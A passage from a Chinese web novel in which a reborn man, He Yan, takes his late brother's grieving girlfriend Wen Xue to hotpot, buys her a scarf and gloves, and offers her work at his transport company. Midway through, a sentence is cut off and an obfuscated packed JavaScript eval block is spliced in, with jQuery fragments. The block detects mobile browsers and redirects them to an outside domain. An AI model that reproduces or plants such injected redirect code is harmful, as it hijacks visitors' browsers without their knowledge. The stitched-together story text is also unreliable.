大学附近最不缺的就是小饭馆,闻雪勉强记起大一时常光临的几家店,领着贺岩往那边走。她出来得急,没戴帽子跟围巾,羽绒服穿在她身上丝毫不显臃肿,这半年来,尽管她没上称,但身边人一眼就能看出来,她瘦了很多。
贺岩偶尔打量她,不由得在心里叹一口气。
相依为命的弟弟逝世给他带来的打击也不小,那段时间他抽烟抽得很凶,心情也格外暴躁,每天闭上眼睛就总想起弟弟,但他跟闻雪不同,他还有工作,手底下十几口人等着吃饭,失去至亲的痛一辈子都不会痊愈,可人要学着向前看,他颓废个把月后,硬逼着自己重新振作,不知不觉,好像也就走了出来。
他必须承认,上辈子那八年里,他想起闻雪的次数很少很少。
一来,没有共同的朋友圈,生活上也没交集。
二来,他太忙了,而且他认为像她这样条件的人,日子不会过得很差。
她长得漂亮,有学历,只要一步步踏实往前走,未来必定一帆风顺。
在那个慈善晚宴上,她被人簇拥,脸上无悲无喜。
只是在见到他时,面露意外与惊愕,她强颜欢笑,眼中泪光盈盈:“哥,要是有我能帮得上忙的地方,你只管说,我过得还行……也有一些钱……”
毫无疑问,在世俗眼中,她过得很好,生活优越,荣华富贵。
然而他查到的资料显示,那八年里,她历经波折与坎坷,宁静幸福的生活被人轻易掀翻,满纸都是身不由己。
他在重生前发的最后一条消息也是给她的。
只是没有等来她的答复,他就重生了。
眼看着离小吃街越来越近,闻雪鼓起勇气,轻声开口问道:“吃什么?”
她慢吞吞地说:“有小火锅,烤肉,还有炒菜……”
贺岩瞥见她的发丝都被风吹得凌乱,略抬眸四处瞧瞧,没有直接回答这个问题,而是低声道:“你等我一下。”
说完抬腿大步往身侧走去,天气冷了,出摊的老板也少。
小妹正抱着热水袋缩一边吃米线,突然眼前一道阴影落下,她下意识地抬起头来,见是顾客,赶忙囫囵将有些烫的米线吃下,口齿不清地道:“老板买围巾还是手套,我这儿什么款式都有!”
贺岩不懂什么款式,飞快扫一眼,伸手指指毛绒绒的围巾,“这个,”又指指手套,“还有这个,包起来。”
都不讲价,小妹心里一喜,哎了一声,急忙起身,三下两下在黑色塑料袋里找到他说的围巾手套装袋递给他,“原价六十五,收您五十,恭喜发财。”
闻雪老老实实地在原地等着,一步都没挪。
等贺岩回来时,将印着小兔子的包装袋递给她,“别着凉了。”
他看她瘦得仿佛随时要被风吹走的模样。
闻雪神情微愣,他不由分说递过来,她只好接过,垂头一看,里面是围巾还有手套,“我有。”
只不过放在宿舍里忘记戴了。
她知道自己状况不对,人晕晕沉沉的,做什么都提不起劲,每天晚上睡觉前,她都在想,明天我就要振作起来,好好学习,好好吃饭,好好交朋友出去玩,可太阳升起,当她从床上爬下来时,只觉得好累。
她的头发变长,身躯变轻,反应变慢。
她控制不住。
“戴着。”他说。
“……哦。”
闻雪垂下脖颈,将围巾裹上时,这才想起道谢,“谢谢。”
贺岩回答她之前的问题,“吃火锅吧,暖和。”
“行。”闻雪双手放进口袋,摸到钱包,稍稍安心,如果她没记错的话,里面应该还有几百,吃顿火锅没问题。
两人虽然并排走着,但中间隔的距离还能走两个人。越靠近小吃街,烟火气息越浓,食物的香味在空气中弥漫,闻雪后知后觉地感到饥饿。
火锅店很热闹,贺岩抬手撩起透明帘,偏了下头,示意闻雪先进。
闻雪弯腰进去,大堂都快坐满了,只剩靠近角落的位置刚刚收拾出来,店里热气缭绕,比外面暖和得多,这家是一人一个锅,不用跟服务员点菜,想吃什么自己去冷柜拿。
贺岩还没动,闻雪起来,来来回回拿菜,不一会儿,桌上都快摆满。
她很细心,从前就很会照顾别人的感受,此时被锅里沸腾着的热气扑面,白得几乎病态的脸上多了抹红晕,人看起来也有了精气神,她拆开包装,拿起水壶洗刷碗筷,露出来的手腕细得能折断。
“我听说你们要放寒假了?”贺岩喝了口热水,问道。
“嗯。”
“准备回海城吗?”
海城是个二三线城市,当地经济不算发达,但在三四十年前,也有过欣欣向荣的时期,那时有规模很大的工厂企业,很多本地人拖家带口在里面上班。
其中有贺岩的父母,也有闻雪的父母,然而十几年前一场突发事故让很多家庭支离破碎,他们一夜之间也变成了无父无母的可怜孩子。
闻雪比贺岩贺恒两兄弟要幸运,她还有爷爷奶奶抚养她长大,尽管她的爷爷奶奶后面十年里相继离世,但她没有尝过寄人篱下的滋味。
贺岩印象最深的是童年少年时期,在一个又一个亲戚家里辗转,那时他们兄弟有需要花钱的地方也不敢跟大人要,贺岩咬咬牙,十来岁就想办法赚点零花钱给弟弟花,有太多心酸的压力,念书成绩很一般,高考也没考得多好,算算学费,觉得挺没意思,干脆一头扎进社会,一门心思赚钱,想要好好培养弟弟。
贺恒很争气,学习就没叫人操过心,总是名列前茅,眼看着日子好起来了,贺恒却死了。
闻雪烫了青菜,细嚼慢咽,等嘴里的菜吃下去后,抬起眼眸回道:“应该。”
看来车票都还没买。
贺岩点头,“在学校里钱够花吗?”
“够的。”闻雪说,“学校食堂吃饭不贵。”
贺岩一看她这样子就知道她这半年过的是什么日子。如果贺恒没有出事,这对情侣会好好的,互相享受大学生活,毕业后找份朝九晚五的工作,或许过不了几年就会结婚组成一个小家庭。
她太年轻了,一时半会无法接受轰然倒塌的生活很正常。
“之前小恒应该跟你说过我的事。”贺岩见她一直吃青菜,实在看不过去,拿了双干净筷子,在锅里捞了肉夹她碗里,“我跟朋友合伙开了个运输小公司,有个文员回家生孩子,得过完年才能回岗位,事情不多,也不难,现在两个人的事一个人做,年边上我也不想再招人,你要是愿意就跟我过去,包吃包住,开学我再送你回学校,到时候我给你交学费生活费。”
他是昨天重生的,一整天都在想,他应该为她做点什么。
如果没重生,只要她愿意,他可以想尽一切办法,即便散尽家财也要把她从那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735186|174054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人手中带走,重生了该怎么办?他只能提前防范不让人再欺负她,让她跟她其他同学一样,过普通却安宁的生活,以前他怎么养贺恒,今后就怎么养她。
闻雪惊讶地看着他。
她试着听懂他话语里表达的意思,越听却越茫然,前面的她懂,他是想给她找兼职,可给她交学费生活费是什么意思呢?据她所知,大学生找兼职时薪很低的,他给的太多了。
“为什么?”她问,意识到他是在接济她,她连忙说,“学费我有的,生活费也有,我奶奶走之前给了我存折,可以撑到我念完大学,等我毕业了我可以去找份工作。”
重生前的贺岩也是这样想的。
那时他问过她有没有钱,她说有,爷爷奶奶将工厂当时统一赔的钱都给她留着,十几年过去,那笔钱贬值了,但只要她好好分配,四年生活不成问题。
“闻雪。”
贺岩很少会叫她的名字,他放下筷子,眼里带着他都不知道的复杂的怜悯情绪,“你过去跟着小恒喊我哥,他不在了,你也可以继续把我当哥,就当是为了让他安心吧,你帮我,还是我帮你,都可以,这事不着急,回宿舍了你再好好想想,想好了我再接你去我那儿。”
闻雪看了他好一会儿,继续低头吃菜,这次速度慢了很多,她在思考,垂眸时,不经意瞥见被她放在旁边椅子上的围巾手套,毛绒绒的,很暖和。
她很早就对贺岩这个名字非常熟悉。
贺恒总是会向她提起他的大哥,有时候会说大哥太严肃,有时候又会心疼大哥赚钱艰难,那时她在脑海中勾勒出一个形象,吃苦耐劳,沉默寡言,真正见到贺岩后,她又拿橡皮擦将这个形象擦掉。
无法用准确的语言来形容。
如果说贺恒像郁郁葱葱的树,那么贺岩则是经过千锤百炼的钢铁。
贺岩是一个很好很好的哥哥。
她还记得在贺恒火化的前一天晚上,殡仪馆里冷清沉寂,月光铺洒,好似一层冰霜,她被香熏得眼睛涨疼,麻木地拖着腿从里出来,隔着不远的距离,看到他靠着柱子,像是被人打弯了脊梁,正无声流泪。
然而到了人前,他还是会打起精神,招待一个又一个前来吊唁的人。
…
跟别桌热闹的气氛不同,他们说完这话后,都不再开口,专心吃火锅,闻雪这半年来吃得少又不规律,吃了些菜跟肉后就饱了,目无焦距地发呆。
贺岩今年二十五岁,饭量本来就大,午饭胡乱吃了些,早已经饥肠辘辘。
闻雪见他吃得差不多了,拿起服务员放在一边的餐单准备去前台结账,忽地,一只手背上带着道浅疤的手强势地摁住那张餐单,她抬眼看他,他说,“我来。”
十分钟后,贺岩买完单,看看钱包里的现金,没剩几张。
他出来得急,也不知道附近有没有取款机,就算她不愿意跟他走,他也得留下联系方式,再给她取点钱过年。
闻雪跟在他身后走出店里,迟疑着开口问道:“你那里真的缺人吗?”
学费生活费她也不想要,但他那里如果缺人,她可以过去帮忙。
贺岩闻声回头,“确实缺人。”
这话是真的,再过半个月就要过年。上辈子这时候他是找了朋友的嫂子过来顶了几天班。
闻雪眼睫低垂,怀里还抱着他给买的围巾手套,夜色中,她轻轻地点了下头,“好,我去。”